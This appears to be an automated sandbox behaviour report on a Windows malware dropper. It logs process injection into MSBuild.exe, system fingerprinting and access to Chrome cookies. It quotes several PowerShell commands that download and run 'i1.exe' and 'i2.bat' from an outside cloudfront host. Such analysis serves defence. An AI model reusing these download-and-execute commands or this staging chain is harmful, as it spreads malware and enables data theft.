Source: C:\Windows\SysWOW64\cmd.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 67F008
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\i1.exe i1.exe /SUB=2838 /str=one Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K i2.bat Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.0.exe "C:\Users\user\AppData\Local\Temp\u5o8.0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe "C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Users\user\AppData\Local\Temp\u5o8.3.exe "C:\Users\user\AppData\Local\Temp\u5o8.3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Process created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe "C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B564760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free, 10_2_6B564760
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C633470 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,DuplicateToken,AllocateAndInitializeSid,LocalAlloc,InitializeSecurityDescriptor,GetLengthSid,LocalAlloc,InitializeAcl,AddAccessAllowedAce,SetSecurityDescriptorDacl,SetSecurityDescriptorGroup,SetSecurityDescriptorOwner,IsValidSecurityDescriptor,AccessCheck, 15_2_6C633470
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: TrayNotifyWndShell_TrayWnd
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Shell_TrayWndtooltips_class32SVWU
Source: i1.exe, 00000005.00000003.1919179688.0000000004BF0000.00000004.00000020.00020000.00000000.sdmp, u5o8.3.exe, 00000014.00000000.1916284237.000000000041C000.00000020.00000001.01000000.00000012.sdmp Binary or memory string: Shell_TrayWndtooltips_class32S
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00409D1B cpuid 5_2_00409D1B
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 5_2_0042086B
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_004170F1
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_004201F6
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_004201AB
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_00420291
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 5_2_0042031E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW, 5_2_004174E4
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW, 5_2_0042056E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 5_2_00420697
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 5_2_0041FF33
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW, 5_2_0042079E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_035A7358
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW, 5_2_035B0A05
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 5_2_035B0AD2
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 5_2_035B019A
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 5_2_035B08FE
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW, 5_2_035A774B
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW, 5_2_035B07D3
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: GetLocaleInfoW, 5_2_035B07D5
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_035B045D
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_035B0412
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: EnumSystemLocalesW, 5_2_035B04F8
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 10_2_00414570
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the installation date of Windows
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\u5o8.1.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0040996D GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 5_2_0040996D
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA, 10_2_004143C0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 10_2_004144B0
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403532
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
